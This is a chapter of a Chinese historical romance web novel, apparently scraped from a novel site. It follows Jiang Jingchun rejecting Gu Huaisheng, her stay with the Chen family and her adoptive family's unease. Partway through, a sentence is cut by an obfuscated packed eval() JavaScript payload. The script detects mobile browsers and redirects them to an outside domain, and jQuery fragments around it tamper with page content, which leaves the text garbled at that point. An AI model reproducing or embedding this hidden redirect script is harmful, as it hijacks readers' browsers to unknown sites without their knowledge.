顾淮声的身上还穿着那身绯红官服,这幅打扮让他看起来有些更不近人情。
光线昏暗,他那白玉一般的脸在此刻看着都带了几分阴沉。
姜净春忍住转身想跑的冲动,她镇定了思绪之后蹙眉冲他问道:“你胡说些什么呢?
顾淮声的步子却不停,“我没说错吗?你既说早就喜欢他,又何故来招惹我。当初分明已经同他在小巷中唇齿交缠,又何故再来做出偷亲我的事呢?
他被那个吻折磨得不像样子,他像犯了病似的被那个梦反复折磨,可她呢,转头一次又一次地去说嫁人。
他声声质问,嘴角勾着一抹讽刺的笑,他在问她,为什么这般多情,又为什么要对他这样无情。
姜净春被他逼至角落,身后就是墙壁,她再退不得,顾淮声离她太近,她要被他身上清冽的味道逼得喘不过气来。
太狡猾了。
姜净春听到了顾淮声这样的话,才反应过来他方才的问题有多么狡猾。
他问她是不是早就喜欢宋玄安,她为了同他撇清关系,自然会说是,可若说是,岂不就是证明了自己三心二意,一边喜欢宋玄安,一边又去招惹他。
若是说不是,却又好像不大对劲。
她不想和他靠得这般近,想要推开他,然而力气太小,推了下顾淮声的胸膛他始终纹丝不动,若蚍蜉撼大树,倒显得她这样的动作是在打情骂俏。
姜净春停止了自己的动作,她瞪圆了眼看他,一不做二不休直接骂他,“你管我是什么时候喜欢他的呢,我现下喜欢的是他不就成了吗。
而且,方才他那话是什么意思。
她和宋玄安在小巷子中唇齿交缠?
“我什么时候又和他在巷子里面亲过嘴了?你在胡说些什么东西。
他这人怎么能这样呢,她没做过的事情都往她身上安。
顾淮声说起了几月前端午的事情,他道:“先前端午,你同宋玄安出去,我看到你们两人从巷子中出来,你口脂乱成了那样,不是亲嘴?
听到顾淮声的话,姜净春皱着眉头开始回忆起了端午那日的事情。
事情已经过去有两三个月,姜净春回忆起来还有些吃力,好不容易才想了起来。
原来是那天被宋玄安用手蹭掉的口脂,后来两人去巷子里头,也不过是她在给他系香囊罢了。
顾淮声这脑子里头成日都在想些什么东西,竟觉他们在里头做那样的事。
她叫他气笑了,道:“你自己心里头脏,用不着把别人想得同你一样。
顾淮声听到这话,眉头拧得更紧,一时间竟也不知道是什么反应。
听姜净
春这话他好像是误会些什么了。
他不说话姜净春却又继续道:“我从前不喜欢他也从来没有同他做过什么亲嘴接吻的事情那个时候我只喜欢你你听到这个答案满意了吗?”
她说从前只喜欢他。
顾淮声听到这话眼皮轻颤了一下。
姜净春捕捉到了他的情绪变化她好像忽然明白他今日为什么这般无理取闹了。
他竟还在对那么久之前的事情耿耿于怀。
想明白了之后姜净春不再气愤不再惶恐甚至还轻笑了一声这笑也带着几分嘲意她对他说“我确实很喜欢你可是那是从前的事情了你能明白‘从前’两个字是什么含义吗从前的意思就是说--往者不可谏来者犹可追。”
顾淮声这样聪明的人难道还要她一字一句的去解释这些吗。
两人落入了对峙的情形姜净春比他矮了堪堪一个脑袋可在此刻她却牢牢占据了上风她被顾淮声堵在墙角不得逃脱可却用语言一点一点击溃了他的心神。
她道:“你如果真要追究以前的事情那我问你端午那天的事情你还记得些别的吗?”
“那日我在家里面等了你整整一日打扮得漂漂亮亮擦了好看的口脂穿了艳丽的裙子只为了能和你出门游街我还给你精心做了个香囊打算送你可是最后呢最后却只等来你和别人在一起看亲。所以啊最后那个香囊在巷子里头被我系在了宋玄安的身上。”
“现下我都放下从前的事情我都不计前嫌喊你一声表兄了你为什么还在想着过去呢?我要嫁人我要有自己的新生活。”
姜家这个烂泥潭谁爱待谁待去
她知道顾淮声是放不下他放不下从前的事情。
可是那又和她有什么关系呢。
“顾淮声。”
“你就高抬贵手别再纠缠了吧。”
姜净春不是一个会吃回头草的人她不会喜欢当初伤害过她的人有第一次谁知道还会不会有第二次。而且人若沉溺在过去的事情中是一件很可怕的事情就像她她若回忆以往之事就若溺在水中无法喘息。
过去者已去如死灰之不可复燃。
向前看对她说也对顾淮声说。
姜净春又推了一把顾淮声这回终于推开了。
顾淮声身形竟踉跄了一下他眼睁睁看着姜净春离开视线落在她的背影死死盯着无法回神。
方才她说的话仍旧在耳边回荡。
别再纠缠......
高抬贵手?
她这是彻彻底底同他撕破脸皮
了。
顾淮声也是在这时忽然明白了姜净春从前被他推开的感觉了。
伤人,确实伤人,心就像是被一把刀豁开了个大口。
这一刻他宁愿姜净春是个小孩,好哄好骗的小孩,可是,她长大了,经历了这么些事,她与从前变得不大一样了。
宋玄安对她好?他也可以啊。
宋玄安永远不会欺负他?他也不会啊。
宋玄安是好归处,他难道就不是吗。
可是,为什么只要宋玄安。
为什么只想着和他一刀两断呢?
为什么,到底是为什么啊?
看着姜净春离开的方向,他的掌心渐渐拢紧。
顾淮声想到了先前在寺庙中求来的签,得偿所愿......
他从前从不耻“强求二字,可现下竟想,若强求能得偿所愿,好像也无所谓。
他的道德底线,什么时候又低成了这幅样子。
*
姜净春因着在这处耽搁久了,回陈家的时候就有些着急了。她几乎是奔着回去,好在是赶在了宵禁之前回了陈家。
匆匆忙忙回了陈家,她往陈穆清的院子赶回,却不巧在垂花拱门那处撞见了沈桃,两人堪堪撞个正着。
姜净春想到了上一回沈桃来陈穆清的房中说的那番话,知她不喜欢那些不守规矩的姑娘,还没倒过来几口气,恭谨同她行了个礼。
毕竟现下在陈家暂住,她虽是后母,但好歹也是陈穆清父亲八抬大轿娶回来的妻,该有的礼数也不少不得。
见她还没喘过气就同她行礼,沈桃忍不住笑,“你这么怕我做些什么?
不过是碰了个面,活像兔子见了老虎。
上一回她同陈穆清吵架还是给姜净春留下了些阴影的,她哪里敢不恭恭敬敬的,姜净春忙道:“不敢不敢。
见姜净春这样,沈桃也没再继续追问下去,她转而道:“今年中秋可也在这里过?
看她从姜家那里离家出走这么些日子,沈桃也看明白了,恐怕她这是和姜家的人闹掰了,也不知道今年中秋还回去不回去了。
姜净春想了想沈桃问她这话的意图,她一时间也有了几分踟蹰。
若是回去姜家和他们那些人一起过中秋,她是不大愿意的,可留在陈家,看沈桃这个样子,莫非是嫌她在陈家住久了,烦到她了?
沈桃见她目光不定,便知她又不知是想到何处去了,她道:“哎呦,你这小孩,心思怎这般多呢。我是想着,若你今年在这过中秋,我便办得热闹些,从前个时候,就只有我和陈穆清在,她也不爱同我一起过,我们最多也就凑在一起吃顿饭。若今年你在,我可就办大一些,多个人也能热闹些个起来。到时
候啊,你们吃完饭,还能去街上玩,那时候有花灯,可热闹。
这个偌大的陈家里头,就只有陈穆清和她的后母在,陈父就连些个通房小妾都没有。而陈穆清不喜欢沈桃,沈桃也不会闲得没趣往她跟前凑,往年中秋,过得那也是一年比一年寒碜。
或许在这个家里头陈穆清不爱同她说话,所以,除了身边的下人们外,她也没什么能去说知心话的人了,好不容易逮到了个能够说话的人,她这说起来也是没完。
姜净春发现,其实沈桃好像没有陈穆清说得那样讨厌。
她听到沈桃没嫌她烦,便松了一口气,她笑着点了点头,“不回去,就在陈家过,伯母不嫌我烦就好。
沈桃被她这一声伯母唤的,笑得更开心了些,她道:“留下吧,到时候你们中秋也好好出去玩下,她这些时日学规矩也学累了些,是该好好放松。
说起“学规矩,沈桃又想起了一件事,她对姜净春道:“我知道那天我来找陈穆清的时候你躲在她屋子里头,那日我也不是想要说你什么不好,只是我这脾气暴,一急什么话都说,你也别放在心上,也别因为那事怕我了。
沈桃说的是姜净春第一天来投奔陈穆清时候发生的事。
她听了沈桃的话,笑着摇了摇头,“我没将那件事放在心上的。
她是有些怕她的暴脾气......倒也没因为那件事情耿耿于怀。
两人话说开了也没再继续说下去了,眼睛天黑了,一会姜净春再不回去,陈穆清又要急了,沈桃便让她先回去了。
两人就此作别。
*
姜净春离家几日,李氏终是没忍住想要去问那日在寺庙中究竟发生了何事。
她先前只知道姜净春突然从妙恩寺中回府,而后隔了一日又突然搬家离开。她心下惴惴不安,觉得奇怪不已,却一直没敢去问,可见姜净春迟迟不从陈家搬回,最后还是没能忍住。
她本想着是去崇明堂去问问老夫人,才一起身,却见姜净慧正好从外头进屋。
姜净慧手上提着糕点,这回来也不过是想打探一下李氏是否知道姜净春已经离开姜家,若是知道,这几日又为何没有动静?
她见她要往外去,不由好奇道:“母亲这是要去哪里啊?
李氏不知是想到了什么事情,神色有些不大自然,她试探性地去问姜净慧,“你妹妹前些个儿夜里突然吵着从寺里头回家是为什么?
若是别的寺庙,李氏也不至于如此心虚,可那个地方,难保姜净春会知道些什么。
姜净慧如实道:“母亲,妹妹好像知道了从前的事情......
李氏闻此,脸色大变,“
她,她怎么知道的!”
李氏一激动起来,连话都有些说不利索了。
“这事说起来还是怪我......都怪我在寺里头听人闲话,听了不该听的东西告诉妹妹。”
李氏已经无暇去顾忌这事是谁说出去的了,她只是想,姜净春已经知道了那件事情的真相了......那么也难怪她会是那样的情况,难怪她会迫不及待搬离姜家。
想起往事,李氏竟觉气都有些喘不上来。
李氏看着姜净慧问,“那她可有说些什么?”
姜净慧还在一旁拱火,她道:“妹妹只是哭得很伤心,不过母亲也别多想些旁的了,我看这事,同母亲又有什么关系呢,母亲这样待她,养活了她这么些年,已经是顶顶得良善了。”
姜净慧又叹了口气道:“若是当初她没被母亲带回家,如今说不定早就没了性命呢。”
李氏听了姜净慧的话心思回笼了些许,竟然隐约有些将她的这番话听到了心里头去。
她说的不错,那个女人都病成了那副样子,早晚活不了多久,她若不把姜净春带回来,她岂能活下去?况说,这么些年,她对她又有哪里不好,姜净春想要什么她就给她什么,现如今,她有什么好来怪罪她的。
好像这样想着,李氏心里面也就没能这样难受了,自己做的事情就没有那么可恶了。
姜净慧又道:“妹妹在去寺庙的路上就总是抱怨母亲。”
李氏听了这话却发作了起来,“看来还是在因那桩婚事怪我!我又没生得火眼金睛出来,替她看这看那,那方之平分明也是她自己挑选的,难不成我还能透了皮看出他内里是个什么样的人不成?这么些年我如此待她,她却因为那么一件事情就如此记恨我......”
姜净慧在一旁附和,她叹气,“哎,妹妹这件事情上确实是小心眼了些。”
毕竟说那桩陈年旧事实在是有些太可恶了,可恶到了李氏自己都有些不能接受的地步。李氏极力想要寻出姜净春的过错,好像将过错推一些到她的身上,她自己就什么错都没有了,她也能心安理得的装作什么事情都不曾发生。
她想,她没错,她不过也只是一个失去孩子的可怜母亲罢了。
若不是她抱了她回来,当初她说不定就跟着她母亲一起去了,她这是在救她,不是在害她!
她不愿意去想当年做过的事情,又因姜净慧在一旁煽风点火,最后竟也说,“她要走就走好了,反正她这样的脾气,在外面也待不住几日,最后还不是要回来?”
在她的记忆中,姜净春就是一个永远长不大的孩子,她将她现在的行为归咎于小孩闹脾气从而离家出走罢了,她
迟早还会回来的。
况且,她就算知道了往事又如何?离开了他们,她往后又能去哪里呢。
然而姜净慧却道:“是吗……今日听说妹妹从陈家回了一趟,只不过去见了趟祖母,又马上离开了。
李氏听了这话神色变得恍惚起来。
回来了,又走了……
直到姜净慧离开之后李氏也一直神色恹恹,就连晚间歇息前姜南都察觉出了不对劲。
姜南掀开被子躺到床上,就见李氏一副半死不活的样子。
他没忍住问她,“你今日这是怎么了?
之前姜净春离开了姜家,搬去陈家,却也不见她有什么伤怀之色,可今日怎么就突然这样了。
李氏靠躺在床上,仍旧眉头紧簇,她说,“我本以为她没几日就会回来的。
她本来以为她在陈家待个几天,把脾气发完了,到时候等到不生气的时候,她就会回来了,毕竟,她在姜家都生活了这么多年,她什么都不会,她就是一个心智不大成熟的小孩,她怎么能一直待在外头不回家呢?
她今日听到姜净春回来,本以为是会回来住,可谁知道,只是往荣德堂用了顿晚膳,人就又走了呢。
她也不奢求她能回来她的身边,她去老夫人身边住着不也挺好的吗,怎么着,这姜家就是龙潭虎穴,她一刻也待不住了吗。
李氏又气又恨,想想还是憋得慌,一气就气了一个晚上。
姜南看她郁气不散,便试图劝道:“说句难听的,她本也就不是姜家人……现在知道了当年真相,心自然也就不在这处了。
姜净春没找他们来对峙那他们都偷着乐去吧,现下还纠结些别的做什么呢。
他叹了口气道:“她不乐意回来就不回来,你气也没用啊。你自己有女儿呢,何故把这心放在别人身上。
他这话说的她非但没歇了气,反倒更火,“当初若是你待她好些,不要老是去凶她,不要总是欺负她,她也不会这样,说走就走,现在对这个家一点留恋都没有!
听到李氏的话姜南也来了火气,“你是待她不好吗,李婉宁,你怎么到了现在还不明白,这是好不好的事情吗?
都做了那样的事情,还想别人喊她母亲啊?姜净春她又不是真没骨头。
眼看李氏还瞪他,姜南继续道:“好,那你等着,你就在家里等着,反正她也确实不可能一辈子待在陈家,就算是想嫁人,那也要从姜家里面走,你就在家里等着,你看她会不会回来找你好了。
李氏被他这话质问得哑口无言,眼中都气出泪来了,但姜南是铁了心不想再与她论,只做不见,背过了身去不再看她。
李氏见他这样
,往他身上踹了一脚撒气,也背过了身去不再说话。
这一日李氏都睡不大安稳,第二日早早醒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051400|179038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,用完早膳之后,她就把要去上值的姜润初喊了过来。
姜润初也不知道李氏这大清早是做些什么,直到李氏开口,“你妹妹已经很久没回来了。
姜润初抿唇,知道她是在说谁,他不在意道:“反正过几日就是中秋,到时候她总是要回来吃家宴的。
他显然不知道当初发生了什么,还只当姜净春这回又不知道是犯了什么毛病,闹了脾气开始离家出走,他和李氏想的一样,姜净春迟早会回来的,她在外面,什么都没有,在姜家好歹有人喊她一声小姐。
姜润初道:“她一定是因为净慧回来了,觉得我们冷落她了所以才想着法子去折腾,不过是想我们在意她,母亲管她这么多做甚,到了时候她自然会回来。
李氏下意识摇头,“不会了......
她不会再回来。
可触及姜润初那疑惑的眼神,她却又噤了声,她难道要把这件难堪的事情也说给姜润初听吗,不行的,她也说不出口。
她只道:“你今个儿下值后去趟陈家,你让她中秋回家过。
姜润初看着不大乐意,她自己不愿回来就算了,难不成他还八抬大轿去请她。
他刚想出口辩驳却被李氏打断,“去一趟陈家又碍不着你什么事,去就是了。
李氏没再给他反驳的机会,马上起身回了屋。
姜润初没了办法,也只能听她的话晚间去陈家一趟。
*
到了傍晚,下值之后,姜润初直接往陈家的方向去。
陈家的门子见到姜润初来了之后将人拦在了门口,陈穆清吩咐过除了姜净春之外,其他姜家的人都不让进。
姜润初被拦在外面,脸色已经不大好看,本想转身就走,但又想到了李氏的交代,硬是忍着脾气没发作,他冷着声对陈家看门的门子道:“怎么着,这便是你们陈家的待客之道吗?
姜润初身份在此,那人确也不敢把他得罪透了,但想到陈穆清的吩咐,怕把人放进来又要被她追究,一时间进退不得。
他想了个两全的法子,对姜润初道:“公子请稍等片刻,小的进去同我家小姐禀告一声。
说完人就马上遛没了影,生怕被姜润初继续找茬。
门子马上去寻了陈穆清,她这规矩,学一日休一日,今个儿刚好得空。
她和姜净春坐在院子里头吃着糕点,商量着中秋如何去过。
陈穆清道:“宋玄安这些时日怎么一直都待在家里头,难不成一直在学?这也太用功了些,那看来他这中秋应当也是没时间出来了。
自从那日宋玄安和他母亲做了那个约定之后,便不怎么再出门,想来这些日子悬梁刺股,势必要拿下秋闱。
而且这年秋闱定在了中秋后两天,想来宋玄安这中秋也不过痛快了。
“哎,这也辛苦。姜净春叹了口气。
从前也没见过宋玄安这般奋发过,一时如此,也确实让她看得颇觉心酸。
她知道宋玄安是为了娶她,为了和他母亲打得那个赌,他从前从来没有这般在意过功名二字。
陈穆清听了姜净春这话取笑她,“你这就心疼啦。
姜净春忙道:“没有啊,实话实说嘛......
陈穆清却笑得更厉害些。
姜净春听她笑话她,气得挠她痒,两人一时之间打做一团。
花云也在一旁笑。
她发现自从离开姜家,来了陈家之后,姜净春便好了许多,整个人同从前全然两样。
少女们的笑声在此时格外清澈悦耳,直到外头匆匆跑来了个门子,打断了两人的打闹。
门子匆匆跑来,直奔着陈穆清去,“大小姐,不好啦不好啦!
陈穆清见他这般着急,不由蹙眉去问,“做甚这般,是出何事?
门子道:“姜家大公子在外头呢,非想要进来!
听到这话,陈穆清同姜净春相视一眼,眼中都露着几分疑惑。
他今日来是做些什么?以往就他同姜净春最不对付了,他现下来陈家是想做些什么。
陈穆清道:“我看他今日一定是想着带你回家的,见着你久久不归家,想着中秋要到了,便想将你带回去。
姜净春摇头,“他哪里稀罕我回不回去的。
姜净春多少能猜到姜润初为何而来。
定然是被李氏逼来的。
陈穆清没再说,她只问她,“那你想回去吗?不想的话,我去帮你赶走他。
姜净春摇头。
她不想回去。
陈穆清明白她的意思了,她道:“好嘞,你在这里等我,我去赶走他。
陈穆清很快起身,跟着门子去了外头。
姜润初仍旧站在门口,他颀身玉立,看着人模人样,只是面色难看至极,蹙着眉头,也不知道是在想些什么。
陈穆清上前,“喂了一声。
姜润初听到声响,看向来人,眉头蹙得更紧。
他心中暗想,果然同姜净春在一起玩的人,果然也不大有礼教。
他拧眉道:“陈家的家教就是这般。
陈穆清懒得同他多说,只想着赶紧把他弄走,她道:“陈家家风如何犯不着让姜大公子置喙,你若有本事,去边疆找我爹去,同他说我们家风不正。
姜润初闻此,脸色更叫阴
沉,他也懒得同她废话,直接道:“让姜净春出来,在回头混了这么些时日,该回家去了。”
“她不回去。”陈穆清道:“你自己回去吧。”
“不回?姜家是她的家,她不回去,难道还在陈家住一辈子。我不是在同你们商量,叫她出来。”
他声音凛冽,像是带了几分怒。
陈穆清才不吃他这套,也寒了声,“姜大公子好像是听不懂人话,我也不是在同你商量,她不会跟你回去的。”
她爹在北疆呢,姜润初还想在这里充爹来教训她,做什么梦呢。
“不回是吗?好好好,有本事。”姜润初咬牙切齿,他继续道:“有本事一辈子都不回来,到时候嫁人,花轿也从你们陈家上。”
姜润初实在不明白那日究竟是发生了什么,能叫她气这么久去。
气到竟连团圆的中秋都不肯回去。
这么些年,她被人喊了十几年的姜姑娘、姜小姐,她现在倒好,想来同他们彻底断清关系,她岂能?
陈穆清被姜润初这不要脸的话气到,当即就要争回去,可一旁先传来了别人的声音。
“花轿从哪家上同你有什么干系啊?”
陈穆清转头去看,发现来人竟然是宋玄安。
他许久没来陈家,现下应当忙着秋闱才是,怎么突然就来了呢。
宋玄安说完这话又道:“她都说了她不想回去,你这么粘牙做些什么?”
这话说得姜润初脸色青一阵白一阵的。
然而宋玄安甩下这么两句话就拉着陈穆清往里头走,没再去管姜润初了。
姜润初也叫看懵了,这些人倒是年纪不大,脾气一个比一个大。
姜净春她爱回不回,干他什么事。
他被气得不轻,也没再继续待下去,甩袖离开直接回了姜家。
宋玄安那头和陈穆清回了方才的院子。
姜净春看到宋玄安的身影有些惊讶,陈穆清方才不是去赶人的吗?怎么还来个宋玄安。
看着她面露疑惑,陈穆清解释道:“宋玄安刚巧来了,就一同进来了,姜润初我们已经给他赶走了,我先进去了,你们聊着先吧。”
她也知道宋玄安百忙之中抽出空来是为了见姜净春,她便也不继续再这处碍他们的眼了。
宋玄安直接坐到了姜净春身边。
姜净春扭头问他,“怎么想着今日来了。”
宋玄安道:“这些天一直坐在书房中,仰头低头,十几日就不知不觉过去了。”
姜净春不明白他的意思。
“等我意识到时间在动的时候,我就有些止不住想来见你。”
“因为很想,所以我就来了。”
他只想着秋闱赶紧过去,好不容易悬